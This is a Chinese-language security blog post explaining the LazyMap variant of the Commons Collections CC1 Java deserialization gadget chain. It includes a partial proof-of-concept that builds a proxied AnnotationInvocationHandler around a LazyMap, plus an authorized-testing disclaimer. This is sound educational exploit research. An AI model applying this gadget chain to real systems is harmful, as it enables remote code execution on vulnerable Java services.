cc1链:实现方法2-LazyMap

cc1的触发

我们先回顾一下cc1链子的流程

image

实现方法2是在ChainedTransformer之后有所不同

LazyMap

LazyMap的get方法中会调用factory的transform

image

另一个好消息是factory为Transformer对象,我们可以通过decorate的方法在修饰对象时候为其赋值

image

image

而在AnnotationInvocationHandler中的invoke调用了get方法

java.lang.reflect包下提供了一个 Proxy 类和一个 InvocationHandler 接口,通过这个类和这个接口可以生成 JDK 动态代理类和动态代理对象,当我们调用这个代理对象的任何方法时都会跳转到其 invoke 方法中。

AnnotationInvocationHandler是InvocationHandler的实现类。

当 readObject 执行到memberValues.entrySet()时,就会进入到 AnnotationInvocationHandler 的 invoke 方法,再一路走到 get 方法中。

image

构造方法中传入memberValues

image

poc

在之前的cc1链:分析与实现中替换下面的代码

Map innerMap = new HashMap();  
Map outerMap = LazyMap.decorate(innerMap, transformerChain);  

// 反射获取AnnotationInvocationHandler  
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);  
constructor.setAccessible(true);  

// 为LazyMap设置代理对象为AnnotationInvocationHandler  
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);  
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);  

// 将LazyMap传入新创建的AnnotationInvocationHandler对象中  
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);   

相信国家相信党,黑客没有好下场
请遵守相关法律法规,文中技术仅用于有授权的安全测试,禁止用于非法活动!
本文章仅面向拥有合法授权的渗透测试安全人员及进行常规操作的网络运维人员。
在操作的过程中,您应确保自己的所有行为符合当地法律法规,且不得进行违反中国人民共和国相关法律的活动。
作者不承担用户擅自使用相关技术从事任何违法活动所产生的任何责任。


posted @ 2024-05-09 14:35  aixve  阅读(0)  评论(0编辑  收藏  举报